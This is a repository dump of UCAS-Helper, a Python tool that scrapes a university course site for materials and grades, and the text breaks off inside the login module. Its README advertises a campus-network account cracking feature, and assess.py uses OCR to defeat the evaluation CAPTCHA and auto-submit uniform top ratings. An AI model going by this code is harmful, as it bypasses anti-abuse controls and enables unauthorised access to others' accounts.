https://github.com/GentleCP/UCASHelper ** 16 | ** 1:course sources download ** 17 | ** 2:wifi login ** 18 | ** 3:wifi logout ** 19 | ** 4:course assess ** 20 | ** 5:query grades ** 21 | ** q:exit ** 22 | ********************************************************************************* 23 | ``` 24 | 目录 25 | ================= 26 | * [前言](#前言) 27 | * [1. 功能介绍](#1-功能介绍) 28 | * [2. 更新日志](#2-更新日志) 29 | * [3. 作者信息](#3-作者信息) 30 | * [4. 效果预览](#4-效果预览) 31 | * [5. 使用教程](#5-使用教程) 32 | * [6. 问题反馈](#6-问题反馈) 33 | 34 | # 前言 35 | 原本只是一时兴起,为了方便写的UCAS课程网站小助手,帮助我自己进行课程资源快速同步。没想到后面随着功能的增加,项目也变得小有规模起来,因此将其开放给全体UCAS同学,小助手的使用方式在下面有介绍,十分简便(需要一点对`python`环境的了解,百度`python`的安装即可),如果你觉得本项目对你有所帮助的话,希望你能帮我点个star,算是对作者的一点激励吧~ 感谢每一个为项目点上`star`,让更多人看到这个项目的人。❤️ 36 | 37 | # 1. 功能介绍 38 | - [x] 课程资源同步 39 | - [x] 课程评教 40 | - [x] 成绩查询 41 | - [x] 校园网登录/登出 42 | - [x] 校园网账号破解 43 | 44 | > `校园网`相关功能因缺乏校园网环境无法维护确认,感兴趣的可以提交PR:) 45 | 46 | [点击这里](docs/functions.md)查看详细功能介绍 47 | 48 | # 2. 更新日志 49 | [点击这里](docs/change_log.md)查看更新日志 50 | 51 | ## 2.1 公告(important) 52 | > 当作者发现或有人提供`UCAS-Helper`的核心功能出现问题时(多半是课程网站改动导致),会在此处加以说明,并提示在哪个版本中修复了该问题,你也可以在[ChangLog](docs/change_log.md)中查看具体的信息 53 | 54 | - 【220501】:5.1假期第二天上Github突然发现有人提交了[issue](https://github.com/GentleCP/UCAS-Helper/issues/27) ,没想到这么久了这个项目还有人在活跃使用,因此假期无事正好解决一下存在的小问题,版本更新到2.4.0,现在不支持从`settings.py`中获取用户信息,请将用户信息填写到`conf/user_config.ini`中!当天测试**资源下载、分数查询**功能均可正常使用,希望后续依然有热心的同学能积极提交PR,帮助维护本项目~最后,祝大家5.1劳动节快乐(虽然真正只放了半天QAQ) 55 | 56 | - 【220328】:PR更新了新的SEP密码登陆方式,于22/3/28功能正常 57 | 58 | - 【210528-停更公告】:由于精力有限,作者本人不再进行`UCAS-Helper`的更新维护工作,下面是一些停更后可能会有的问题,在此提前解答。 59 | - **停更后UCAS-Helper还能用吗**:经本人停更当天`210528`测试,`UCAS-Helper`的**课程网站登录,课程资源同步下载,成绩查询**功能均可正常使用,**校园网登录/登出/破解**功能因本人缺乏校园网环境无法测试,**自动评教功能**由于本人无课程可评亦无法测试(感谢Jingyi Shi对评教功能的修复)。后续若课程网站改动(可能性较小),可能会导致某些功能失效,不管怎样,你可以先尝试`clone`代码使用看看。 60 | - **还有可能更新吗**:`UCAS-Helper`是一个完全开源的项目,虽然作者不再更新,但依然会接受各个对本项目有用的PR(如修复Bug,添加功能),欢迎有能力、有开源精神的同学`fork`本项目,并提交PR维护。当然,这不是一个**强制**的选项,你也可以`fork`后自己修改个人使用。 61 | 62 | - 【210505-分支暂停维护】:⚠️目前由于本人精力原因,项目`master`分支暂时无力维护,请使用稳定版分支`v2`(已修改为默认分支)代码 63 | - 【210414-课程网站登录失效】:由于课程网站改版,之前的登录接口即便账号密码输入正确,依然会提示账号密码错误,该问题已在`v2.3.4`中得到修复,请使用`>=`该版本的程序 64 | 65 | # 3. 作者信息 66 | 67 | [@GentleCP](https://github.com/GentleCP) 68 | 69 | ## 贡献者 70 | > 感谢以下同学为项目提供的PR,欢迎更多同学为项目提供贡献 71 | 72 | - [waruto210](https://github.com/waruto210) 73 | - [enochii](https://github.com/enochii) 74 | - [shijy16](https://github.com/shijy16) 75 | - [xuzheliang135](https://github.com/xuzheliang135) 76 | 77 | # 4. 效果预览 78 | 79 | - 小白使用窗口 80 | ![](img/2-1.png) 81 | - 自动登录校园网 82 | ![](img/3-1.png) 83 | - 校园网账号破解 84 | 85 | - 自动查分 86 | ![](img/4-1.png) 87 | - 显示本学期课程列表 88 | ![](img/1-1.png) 89 | 90 | - 同步所有课程资源到本地 91 | ![](img/1-2.png) 92 | - 同步指定课程的资源到本地 93 | ![](img/1-3.png) 94 | - 同步指定课程的指定一个资源到本地 95 | 96 | - 自动评估课程和教师 97 | ![](img/5-1.png) 98 | 99 | # 5. 使用教程 100 | 101 | [点击这里](docs/usage.md)查看使用教程 102 | 103 | # 6. 问题反馈 104 | - `issue`:提交前请先确认是否已有相似的`issue`,尝试自己解决。 105 | - 提问方式:请详细描述你遇到的问题,具体包括: 106 | 1. 使用的版本(绝大多数问题通过更新到最新版本可以解决) 107 | 2. 产生问题的功能(哪个具体功能出现了使用问题) 108 | 3. 问题的具体描述(例如**分数查询时长时间卡顿,没有显示结果**,最好配上截图) 109 | 110 | 如果你发现了问题,并自己解决修复了,希望你能提交PR,作为贡献者帮助完善这个项目。 111 | 112 | -------------------------------------------------------------------------------- /accounts.json: -------------------------------------------------------------------------------- 1 | { 2 | "useful_accounts": [], 3 | "useless_accounts": [], 4 | "current_month": 12 5 | } -------------------------------------------------------------------------------- /conf/record.ini: -------------------------------------------------------------------------------- 1 | [update_info] 2 | last_update_time = 2021-03-15T02:50:59Z 3 | tag = v2.3.1 4 | 5 | -------------------------------------------------------------------------------- /conf/user_config.ini: -------------------------------------------------------------------------------- 1 | [user_info] 2 | username = 3 | password = 4 | 5 | 6 | [course_info] 7 | resource_path =resources 8 | 9 | [sep_info] 10 | key=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxG1zt7VW/VNk1KJC7AuoInrMZKTf0h6S6xBaROgCz8F3xdEIwdTBGrjUKIhIFCeDr6esfiVxUpdCdiRtqaCS9IdXO+9Fs2l6fx6oGkAA9pnxIWL7bw5vAxyK+liu7BToMFhUdiyRdB6erC1g/fwDVBywCWhY4wCU2/TSsTBDQhuGZzy+hmZGEB0sqgZbbJpeosW87dNZFomn/uGhfCDJzswjS/x0OXD9yyk5TEq3QEvx5pWCcBJqAoBfDDQy5eT3RR5YBGDJODHqW1c2OwwdrybEEXKI9RCZmsNyIs2eZn1z1Cw1AdR+owdXqbJf9AnM3e1CN8GcpWLDyOnaRymLgQIDAQAB 11 | 12 | -------------------------------------------------------------------------------- /core/__init__.py: -------------------------------------------------------------------------------- 1 | # @Author : GentleCP 2 | # @Email : 574881148@qq.com 3 | # @File : __init__.py.py 4 | # @Item : PyCharm 5 | # @Time : 2019-11-18 15:48 6 | # @WebSite : https://www.gentlecp.com -------------------------------------------------------------------------------- /core/assess.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | -----------------Init----------------------- 4 | Name: assess.py 5 | Description: 6 | Author: GentleCP 7 | Email: 574881148@qq.com 8 | WebSite: https://www.gentlecp.com 9 | Date: 2020-08-31 10 | -------------Change Logs-------------------- 11 | 12 | 13 | -------------------------------------------- 14 | """ 15 | import re 16 | import time 17 | import requests 18 | from PIL import Image 19 | from io import BytesIO 20 | from util import ocr 21 | 22 | from bs4 import BeautifulSoup 23 | 24 | from core.login import Loginer 25 | from handler.logger import LogHandler 26 | 27 | class Assesser(Loginer): 28 | 29 | def __init__(self, 30 | urls=None, 31 | user_config_path='../conf/user_config.ini', 32 | assess_msgs=[], 33 | *args, **kwargs): 34 | super().__init__(urls, user_config_path, *args, **kwargs) 35 | self._logger = LogHandler('Assesser') 36 | self._assess_msgs = assess_msgs 37 | 38 | self._id_pattern = re.compile('/evaluate/.*?/(?P.*?)$') 39 | self._course_assess_url = None # 动态获取课程评估地址 40 | 41 | 42 | def _get_course_ids(self): 43 | # 获取课程评估url 44 | try: 45 | res = self._S.get(url=self._urls['view_url']['http'], headers=self.headers, timeout=5) 46 | except requests.Timeout: 47 | res = self._S.get(url=self._urls['view_url']['https'], headers=self.headers) 48 | bs4obj = BeautifulSoup(res.text,'html.parser') 49 | href = bs4obj.find('a',string=re.compile('.*学期$')).get('href') 50 | self._course_assess_url = self._urls['base_url']['http'] + href 51 | # 获取课程id 52 | try: 53 | res = self._S.get(self._course_assess_url, headers=self.headers, timeout=5) 54 | except requests.Timeout: 55 | self._course_assess_url = self._urls['base_url']['https'] + href 56 | res = self._S.get(self._course_assess_url, headers=self.headers) 57 | 58 | bs4obj = BeautifulSoup(res.text, 'html.parser') 59 | urls = [url.get('href') for url in bs4obj.find_all('a', {'class': 'btn'})] 60 | course_ids = [] 61 | for url in urls: 62 | course_ids.append(self._id_pattern.search(url).groupdict()['id']) 63 | return course_ids 64 | 65 | 66 | def __assess_course(self,course_id): 67 | try: 68 | res = self._S.get(self._urls['base_evaluateCourse_url']['http'] + course_id, headers=self.headers, timeout=5) 69 | except requests.Timeout: 70 | res = self._S.get(self._urls['base_evaluateCourse_url']['https'] + course_id, headers=self.headers) 71 | 72 | 73 | s = res.text.split('?s=')[-1].split('"')[0] 74 | bs4obj = BeautifulSoup(res.text, 'html.parser') 75 | radios = bs4obj.find_all('input', attrs={'type': 'radio'}) 76 | value = radios[0]['value'] 77 | data = {} 78 | data['adminValidateCodeStr'] = self._get_capcha_code() 79 | 80 | for radio in radios: 81 | data[radio['name']] = value 82 | textareas = bs4obj.find_all('textarea') 83 | for textarea, asses_msg in zip(textareas,self._assess_msgs[0:-2]): 84 | # 填写主观评价内容 85 | item_id = textarea.get('id') 86 | data[item_id] = asses_msg 87 | subjectiveRadio = bs4obj.find('input', {'class':'required radio'}).get('id') 88 | subjectiveCheckbox = bs4obj.find('input',{'class','required checkbox'}).get('id') 89 | data['subjectiveRadio']= subjectiveRadio # 教室大小合适 90 | data['subjectiveCheckbox']= subjectiveCheckbox # 自己需求和兴趣 91 | 92 | try: 93 | post_url = self._urls['base_saveCourseEval_url']['http'] + course_id[:-2] + '?s=' + s 94 | res = self._S.post(post_url, data=data,headers=self.headers,timeout=5) 95 | except requests.Timeout: 96 | post_url = self._urls['base_saveCourseEval_url']['https'] + course_id[:-2] + '?s=' + s 97 | res = self._S.post(post_url, data=data, headers=self.headers) 98 | 99 | tmp = BeautifulSoup(res.text, 'html.parser') 100 | try: 101 | flag = tmp.find('label', attrs={'id': 'loginSuccess'}) 102 | if flag.string == '保存成功': 103 | print('\033[1;45m{}评估结果:[success] \033[0m'.format(course_id)) 104 | else: 105 | print('\033[1;45m{}评估结果:[fail],请手动重新评估该课 \033[0m'.format(course_id)) 106 | 107 | except AttributeError: 108 | print('\033[1;45m{}评估结果:[fail],尝试重新评估 \033[0m'.format(course_id)) 109 | self.__assess_course(course_id) 110 | 111 | 112 | 113 | def _assess_courses(self, course_ids): 114 | self._logger.info('开始评估课程') 115 | time.sleep(2) 116 | for course_id in course_ids: 117 | self.__assess_course(course_id) 118 | self._logger.info('课程评估完毕') 119 | 120 | 121 | def _get_teacher_ids(self): 122 | # 通过课程评估url得到教师评估url 123 | teacher_assess_url = self._course_assess_url.replace('course','teacher') 124 | res = self._S.get(teacher_assess_url, headers=self.headers) 125 | bs4obj = BeautifulSoup(res.text, 'html.parser') 126 | urls = [url.get('href') for url in bs4obj.find_all('a', {'class': 'btn'})] 127 | teacher_ids = [] 128 | for url in urls: 129 | teacher_ids.append(self._id_pattern.search(url).groupdict()['id']) 130 | return teacher_ids 131 | 132 | 133 | def __assess_teacher(self, teacher_id): 134 | try: 135 | res = self._S.get(self._urls['base_evaluateTeacher_url']['http'] + teacher_id, headers=self.headers, timeout=5) 136 | except requests.Timeout: 137 | res = self._S.get(self._urls['base_evaluateTeacher_url']['https'] + teacher_id, headers=self.headers) 138 | 139 | 140 | bs4obj = BeautifulSoup(res.text,'lxml') 141 | radios = bs4obj.find_all('input', attrs={'type': 'radio'}) 142 | value = radios[0]['value'] # 默认全5星好评 143 | data = {} 144 | data['adminValidateCodeStr'] = self._get_capcha_code() 145 | 146 | for radio in radios: 147 | data[radio['name']] = value 148 | textareas = bs4obj.find_all('textarea') 149 | for textarea, asses_msg in zip(textareas, self._assess_msgs[-2:]): 150 | # 填写主观评价内容 151 | item_id = textarea.get('id') 152 | data[item_id] = asses_msg 153 | data['subjectiveCheckbox'] = '' 154 | data['subjectiveRadio'] = '' 155 | post_action = bs4obj.find('form', {'id': 'regfrm'}) 156 | try: 157 | post_url = self._urls['base_url']['http'] + post_action.get('action') 158 | except requests.Timeout: 159 | post_url = self._urls['base_url']['https'] + post_action.get('action') 160 | try: 161 | res = self._S.post(post_url, data=data, headers=self.headers, timeout=5) 162 | except requests.Timeout: 163 | res = self._S.post(post_url, data=data, headers=self.headers) 164 | 165 | tmp = BeautifulSoup(res.text, 'html.parser') 166 | try: 167 | flag = tmp.find('label', attrs={'id': 'loginSuccess'}) 168 | if flag.string == '保存成功': 169 | print('\033[1;45m{}评估结果:[success] \033[0m'.format(teacher_id)) 170 | return 171 | else: 172 | print('\033[1;45m{}评估结果:[fail],请手动评估该教师 \033[0m'.format(teacher_id)) 173 | 174 | except AttributeError: 175 | print('\033[1;45m{}评估结果:[fail],尝试重新评估 \033[0m'.format(teacher_id)) 176 | self.__assess_teacher(teacher_id) 177 | 178 | 179 | def _assess_teachers(self, teacher_ids): 180 | self._logger.info('开始评估教师') 181 | for teacher_id in teacher_ids: 182 | self.__assess_teacher(teacher_id) 183 | self._logger.info('教师评估完毕') 184 | 185 | def _get_capcha_code(self): 186 | try: 187 | captcha_res = self._S.get(self._urls['base_evaluate_url']['http'] + '/adminValidateImage.jpg', headers=self.headers, timeout=5) 188 | except requests.Timeout: 189 | captcha_res = self._S.get(self._urls['base_evaluate_url']['https'] + '/adminValidateImage.jpg', headers=self.headers, timeout=5) 190 | captcha_img = Image.open(BytesIO(captcha_res.content)) 191 | # captcha_img.show() 192 | # captcha_code = input("请输入图片展示的验证码信息:") 193 | captcha_code = ocr.do_ocr(captcha_img) 194 | print("验证码信息: ", captcha_code) 195 | return captcha_code 196 | 197 | def run(self): 198 | self.login() 199 | course_ids = self._get_course_ids() 200 | self._assess_courses(course_ids) 201 | teacher_ids = self._get_teacher_ids() 202 | self._assess_teachers(teacher_ids) 203 | 204 | 205 | import settings 206 | if __name__ =='__main__': 207 | assesser = Assesser( 208 | urls=settings.URLS, 209 | assess_msgs=settings.ASSESS_MSG) 210 | assesser.run() -------------------------------------------------------------------------------- /core/download.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | -----------------Init----------------------- 4 | Name: download.py 5 | Description: 课程资源下载器 6 | Author: GentleCP 7 | Email: 574881148@qq.com 8 | WebSite: https://www.gentlecp.com 9 | Date: 2020-08-31 10 | -------------Change Logs-------------------- 11 | 12 | 13 | -------------------------------------------- 14 | """ 15 | import re 16 | import configparser 17 | 18 | from bs4 import BeautifulSoup 19 | from core.login import Loginer 20 | from util.functions import * 21 | from handler.logger import LogHandler 22 | from handler.exception import ExitStatus 23 | 24 | 25 | def show(infos): 26 | if infos: 27 | for info in infos: 28 | print("\033[1;45m [{}]:{} \033[0m".format(info['id'], info['name'])) 29 | else: 30 | print("\033[1;41m尚无信息!\033[0m") 31 | 32 | 33 | class Downloader(Loginer): 34 | def __init__(self, 35 | urls=None, 36 | user_config_path='../conf/user_config.ini', 37 | *args, **kwargs): 38 | super().__init__(urls, user_config_path, *args, **kwargs) 39 | self._logger = LogHandler("Downloader") 40 | self._filter_list = kwargs.get('filter_list', []) 41 | 42 | self._update_sources = [] 43 | self._l_course_info = [] 44 | self._d_source_info = {} 45 | self._cur_course_info = None 46 | 47 | self._collection_id_pattern = re.compile("value='(?P.*?)';") # 获取collection id 信息正则 48 | self._dir_pattern = re.compile("value='/group/[0-9]*/(?P.*?)';") # 获取文件夹目录信息正则 49 | 50 | def _set_resource_path(self): 51 | ''' 52 | set resource path from conf/user_config.ini or from settings.py 53 | :return: None 54 | ''' 55 | try: 56 | resource_path = self._cfg.get('course_info', 'resource_path') 57 | except (configparser.NoSectionError, configparser.NoOptionError) as e: 58 | self._logger.error( 59 | 'Can not read resource path from {}, please enter your resource path at first.(do not store it in settings.py, it is no longer supported'.format( 60 | self._user_config_path)) 61 | exit(ExitStatus.CONFIG_ERROR) 62 | else: 63 | if not resource_path: 64 | self._logger.error( 65 | 'Resource path can not be empty, check it in {}.'.format( 66 | self._user_config_path)) 67 | exit(ExitStatus.CONFIG_ERROR) 68 | else: 69 | self._logger.info('find source path, data will store in {}'.format(resource_path)) 70 | self._resource_path = resource_path 71 | if not os.path.exists(self._resource_path): 72 | os.mkdir(self._resource_path) 73 | 74 | def __update_source_info(self, course_info, bs4obj, dir): 75 | i = 1 76 | for e in bs4obj.findAll('a'): 77 | try: 78 | if 'course.ucas.ac.cn/access/content/group' in e["href"]: 79 | filename = e.find('span', {'class': 'hidden-sm hidden-xs'}).get_text() 80 | self._d_source_info[course_info["name"]].append({'id': i, 'name': dir + filename, 'url': e["href"]}) 81 | i += 1 82 | except (KeyError, AttributeError): 83 | continue 84 | 85 | def _recur_dir(self, course_info, source_url, bs4obj): 86 | ''' 87 | 递归获取文件夹下文件信息 88 | :param source_url: 89 | :param bs4obj: 90 | :return: 91 | ''' 92 | l_dir_objs = bs4obj.findAll('a', {'title': '文件夹'}) 93 | if len(l_dir_objs) > 1: 94 | # 存在其他文件夹,添加当前目录资源信息,接着递归文件夹下内容 95 | cur_dir = self._dir_pattern.findall(l_dir_objs[0]["onclick"])[0] # 获取了课程文件夹信息 96 | self.__update_source_info(course_info, bs4obj, cur_dir) 97 | 98 | csrf_token = bs4obj.find('input', {'name': 'sakai_csrf_token'}).get("value") # 获取token,用于请求文件夹资源 99 | 100 | for e in bs4obj.findAll('a', {'title': '文件夹'})[1:]: # 第一个是当前目录忽略 101 | collection_id = self._collection_id_pattern.findall(e["onclick"])[1] # 获取了课程文件夹信息 102 | data = { 103 | 'source': 0, 104 | 'collectionId': collection_id, 105 | 'navRoot': '', 106 | 'criteria': 'title', 107 | 'sakai_action': 'doNavigate', 108 | 'rt_action': '', 109 | 'selectedItemId': '', 110 | 'itemHidden': 'false', 111 | 'itemCanRevise': 'false', 112 | 'sakai_csrf_token': csrf_token 113 | } 114 | res = self._S.post(source_url, data=data, headers=self.headers) # 获取文件夹下资源信息 115 | bs4obj = BeautifulSoup(res.text, 'html.parser') 116 | self._recur_dir(course_info, source_url, bs4obj) 117 | 118 | else: 119 | # 没有更深层文件夹了,添加资源信息 120 | try: 121 | cur_dir = self._dir_pattern.findall(l_dir_objs[0]["onclick"])[0] # 获取了课程文件夹信息 122 | except IndexError: 123 | cur_dir = None 124 | self.__update_source_info(course_info, bs4obj, cur_dir) 125 | return 126 | 127 | def _set_course_info(self): 128 | if not self._l_course_info: 129 | # 减少后续多次请求课程信息耗时 130 | try: 131 | res = self._S.get(url=self._urls['course_info_url']['http'], headers=self.headers, timeout=5) 132 | except requests.Timeout: 133 | res = self._S.get(url=self._urls['course_info_url']['https'], headers=self.headers) 134 | 135 | bsobj = BeautifulSoup(res.text, "html.parser") 136 | refresh_url = bsobj.find("noscript").meta.get("content")[6:] # 获取新的定向url 137 | res = self._S.get(refresh_url, headers=self.headers) 138 | bsobj = BeautifulSoup(res.text, "html.parser") 139 | new_course_url = bsobj.find('a', {"title": "我的课程 - 查看或加入站点"}).get("href") # 获取到新的课程信息url 140 | res = self._S.get(new_course_url, headers=self.headers) 141 | bsobj = BeautifulSoup(res.text, "html.parser") 142 | course_list = bsobj.findAll('tr') # 尚未筛选的杂乱信息 143 | i = 1 144 | for course in course_list: 145 | a = course.find('a') 146 | course_url = a.get("href") 147 | course_name = a.get_text() 148 | if "课程名称" not in course_name: 149 | self._l_course_info.append({'id': i, 'name': course_name, 'url': course_url}) 150 | self._d_source_info.update({course_name: []}) # 为该课程开辟一个位置 151 | i += 1 152 | 153 | def _set_source_info(self, course_info): 154 | ''' 155 | 给定一门课(name+url),获取该课的所有课程资源 156 | :param course: 157 | :return: 158 | ''' 159 | if not self._d_source_info[course_info["name"]]: 160 | # 该门课的资源信息尚未存储到内存 161 | res = self._S.get(course_info["url"], headers=self.headers) 162 | bs4obj = BeautifulSoup(res.text, "html.parser") 163 | source_url = bs4obj.find('a', {'title': '资源 - 上传、下载课件,发布文档,网址等信息'}).get("href") 164 | res = self._S.get(source_url, headers=self.headers) # 获取课程资源页面 165 | bs4obj = BeautifulSoup(res.text, "lxml") 166 | self._recur_dir(course_info, source_url, bs4obj) 167 | 168 | def _download_one(self, course_info, source_info): 169 | ''' 170 | 给定一门课,下载该门课指定一个资源 171 | :return: 172 | ''' 173 | # 按季度划分课程 174 | if "秋季" in course_info['name']: 175 | base_dir = self._resource_path + '/秋季/' 176 | elif "春季" in course_info['name']: 177 | base_dir = self._resource_path + '/春季/' 178 | else: 179 | base_dir = self._resource_path + '/夏季/' 180 | if not os.path.exists(base_dir): 181 | os.mkdir(base_dir) 182 | 183 | course_dir = base_dir + course_info['name'] # 课程目录 184 | if not os.path.exists(course_dir): 185 | os.mkdir(course_dir) 186 | 187 | dirs = source_info['name'].split('/')[0:-1] # 只取目录部分 188 | if dirs: 189 | # 存在文件夹,递归检测文件夹 190 | recur_mkdir(course_dir, dirs) 191 | 192 | file_path = base_dir + course_info["name"] + '/' + source_info['name'] # 文件存储路径 193 | if not os.path.isfile(file_path): 194 | # 只下载没有的文件,若存在不下载,节省流量 195 | self._logger.info("正在下载:{}".format(source_info['name'])) 196 | download_file(url=source_info['url'], session=self._S, file_path=file_path) 197 | self._update_sources.append("[{}:{}]".format(course_info["name"], source_info['name'])) # 记录更新的课程数据 198 | 199 | def _download_course(self, course_info): 200 | ''' 201 | 下载一门课的所有资源 202 | :param S: 203 | :param course_info: 204 | :return: 205 | ''' 206 | print("\033[1;45m正在同步{}全部资源... \033[0m".format(course_info["name"])) 207 | for source_info in self._d_source_info[course_info["name"]]: 208 | self._download_one(course_info, source_info) 209 | 210 | def _download_all(self, season=None): 211 | for course_info in self._l_course_info: 212 | if season is None: 213 | if course_info['name'] not in self._filter_list: 214 | self._set_source_info(course_info) 215 | self._download_course(course_info) 216 | else: 217 | if season in course_info['name'] and course_info['name'] not in self._filter_list: 218 | self._set_source_info(course_info) 219 | self._download_course(course_info) 220 | if self._update_sources: 221 | self._logger.info("[同步完成] 本次更新资源列表如下:") 222 | for source in self._update_sources: 223 | print('\033[1;41m' + source + '\033[0m') 224 | 225 | is_open = input("是否打开资源所在目录(默认n)?(y/n)") 226 | if is_open == 'y': 227 | if open_dir(self._resource_path) == 0: 228 | self._logger.info("已为您打开资源目录,请根据更新资源列表查询对应文件!") 229 | else: 230 | self._logger.error("打开资源目录失败,请手动开启!") 231 | else: 232 | self._logger.info("[同步完成] 本次无更新内容!") 233 | exit(ExitStatus.OK) 234 | 235 | def __check_option(self, option): 236 | if option == 'q': 237 | print("欢迎使用,下次再会~") 238 | exit(ExitStatus.OK) 239 | 240 | elif option == 'b' and self._cur_course_info: 241 | self._cur_course_info = None # 清空 242 | return True 243 | 244 | elif option == 'd' and not self._cur_course_info: 245 | self._download_all() 246 | return False 247 | 248 | elif option == 's' and not self._cur_course_info: 249 | self._download_all(season='春季') 250 | return False 251 | 252 | elif option == 'm' and not self._cur_course_info: 253 | self._download_all(season='夏季') 254 | return False 255 | 256 | elif option == 'f' and not self._cur_course_info: 257 | self._download_all(season='秋季') 258 | return False 259 | 260 | elif option == 'a' and self._cur_course_info: 261 | self._download_course(course_info=self._cur_course_info) 262 | 263 | elif option.isdigit() and self._cur_course_info: 264 | # 课程界面操作 265 | try: 266 | source_info = self._d_source_info[self._cur_course_info["name"]][int(option) - 1] 267 | except IndexError: 268 | self._logger.warning("不存在该序号课程资源,请重新选择!") 269 | else: 270 | self._download_one(self._cur_course_info, source_info) 271 | 272 | elif option.isdigit(): 273 | # 主界面操作 274 | try: 275 | self._cur_course_info = self._l_course_info[(int(option) - 1)] 276 | except IndexError: 277 | self._logger.warning("不存在该序号课程,请重新选择!") 278 | else: 279 | self._set_source_info(self._cur_course_info) 280 | return True 281 | 282 | else: 283 | self._logger.warning("非法操作,请重新输入") 284 | return False 285 | 286 | def _cmd(self): 287 | while True: 288 | print("\033[1;45m>课程列表:\033[0m", flush=True) 289 | show(self._l_course_info) 290 | print(""" 291 | *************************************** 292 | * id:显示对应课程的所有资源 * 293 | * d:一键同步所有资源 * 294 | * s:同步春季课程资源 * 295 | * m:同步夏季课程资源 * 296 | * f:同步秋季课程资源 * 297 | * q:退出 * 298 | *************************************** 299 | """) 300 | option = input("请输入你的操作:") 301 | if not self.__check_option(option): 302 | # 不进入下一级界面 303 | continue 304 | while True: 305 | print("\033[1;45m>课程列表>{}:\033[0m".format(self._cur_course_info["name"])) 306 | show(self._d_source_info[self._cur_course_info["name"]]) 307 | print(""" 308 | ********************************* 309 | * id:下载对应id资源 * 310 | * a:下载所有 * 311 | * b:返回上一级 * 312 | * q:退出 * 313 | ******************************** 314 | """) 315 | option = input("请输入你的操作:") 316 | if self.__check_option(option): 317 | # 接收到返回上级界面信息 318 | break 319 | 320 | def run(self): 321 | self._set_resource_path() 322 | if check_dir(self._resource_path): 323 | self._logger.error("资源存储路径非法或不正确,请检查你的resource_path配置是否正确!") 324 | exit(ExitStatus.CONFIG_ERROR) 325 | self.login() 326 | self._set_course_info() # 添加所有课程信息到内存中 327 | self._cmd() # 进入交互界面 328 | 329 | 330 | import settings 331 | 332 | if __name__ == '__main__': 333 | downloader = Downloader( 334 | urls=settings.URLS, 335 | ) 336 | downloader.run() 337 | -------------------------------------------------------------------------------- /core/grade.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | -----------------Init----------------------- 4 | Name: grade.py 5 | Description: 6 | Author: GentleCP 7 | Email: 574881148@qq.com 8 | WebSite: https://www.gentlecp.com 9 | Date: 2020-08-31 10 | -------------Change Logs-------------------- 11 | 12 | 13 | -------------------------------------------- 14 | """ 15 | import requests 16 | import logging 17 | from bs4 import BeautifulSoup 18 | from prettytable import PrettyTable 19 | 20 | from core.login import Loginer 21 | from handler.logger import LogHandler 22 | 23 | class GradeObserver(Loginer): 24 | """ 25 | 课程成绩查看器 26 | """ 27 | 28 | def __init__(self, 29 | urls=None, 30 | user_config_path='../conf/user_config.ini', 31 | *args, **kwargs): 32 | super().__init__(urls, user_config_path, *args, **kwargs) 33 | self._logger = LogHandler('GradeObserver') 34 | 35 | 36 | def _show_grade(self): 37 | try: 38 | res = self._S.get(self._urls['grade_url']['http'],headers=self.headers, timeout=5) 39 | except requests.Timeout: 40 | res = self._S.get(self._urls['grade_url']['https'],headers=self.headers) 41 | 42 | bs4obj = BeautifulSoup(res.text, 'html.parser') 43 | thead = bs4obj.find('thead') 44 | pd = PrettyTable() 45 | pd.field_names = [x.string for x in thead.find_all('th')] 46 | 47 | tbody = bs4obj.find('tbody') 48 | for tr in tbody.find_all('tr'): 49 | # tr:每一门课程信息 50 | pd.add_row([x.string.strip() for x in tr.find_all('td')]) 51 | self._logger.info('成绩查询结果如下') 52 | print(pd) 53 | 54 | 55 | def run(self): 56 | self.login() 57 | self._show_grade() 58 | 59 | 60 | import settings 61 | 62 | if __name__ =='__main__': 63 | gradeObserver = GradeObserver(urls=settings.URLS) 64 | gradeObserver.run() -------------------------------------------------------------------------------- /core/login.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | -----------------Init----------------------- 4 | Name: login.py 5 | Description: 6 | Author: GentleCP 7 | Email: 574881148@qq.com 8 | WebSite: https://www.gentlecp.com 9 | Date: 2020-08-31 10 | -------------Change Logs-------------------- 11 | 12 | 13 | -------------------------------------------- 14 | """ 15 | import base64 16 | import re 17 | import requests 18 | import settings 19 | import warnings 20 | from PIL import Image 21 | from io import BytesIO 22 | from bs4 import BeautifulSoup 23 | 24 | import configparser 25 | from handler.logger import LogHandler 26 | from handler.exception import ExitStatus 27 | from util.functions import get_cfg 28 | from util.ocr import do_ocr 29 | from Crypto.Cipher import PKCS1_v1_5 as Cipher_pksc1_v1_5 30 | from Crypto.PublicKey import RSA 31 | 32 | warnings.filterwarnings('ignore') 33 | 34 | 35 | def simulate_JSEncrypt(password, public_key): 36 | public_key = '-----BEGIN PUBLIC KEY-----\n' + public_key + '\n-----END PUBLIC KEY-----' 37 | rsakey = RSA.importKey(public_key) 38 | cipher = Cipher_pksc1_v1_5.new(rsakey) 39 | cipher_text = base64.b64encode(cipher.encrypt(password.encode())) 40 | return cipher_text.decode() 41 | 42 | 43 | class Loginer(object): 44 | """ 45 | 登录课程网站 46 | """ 47 | 48 | def __init__(self, 49 | urls=None, 50 | user_config_path='../conf/user_config.ini', 51 | *args, **kwargs): 52 | ''' 53 | :param urls: 54 | :param user_config_path: 55 | :param args: 56 | :param kwargs: 目前仍支持从settings中读取设备,后续考虑移除 57 | ''' 58 | self._logger = LogHandler("Loginer") 59 | self._S = requests.session() 60 | self._user_config_path = user_config_path 61 | self._cfg = get_cfg(self._user_config_path) 62 | self._urls = urls 63 | 64 | self.headers = { 65 | 'Connection': 'keep-alive', 66 | 'sec-ch-ua': '"Google Chrome";v="87", "\\"Not;A\\\\Brand";v="99", "Chromium";v="87"', 67 | 'Accept': '*/*', 68 | 'X-Requested-With': 'XMLHttpRequest', 69 | 'sec-ch-ua-mobile': '?0', 70 | 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36', 71 | 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 72 | 'Origin': 'https://onestop.ucas.ac.cn', 73 | 'Sec-Fetch-Site': 'same-origin', 74 | 'Sec-Fetch-Mode': 'cors', 75 | 'Sec-Fetch-Dest': 'empty', 76 | 'Referer': 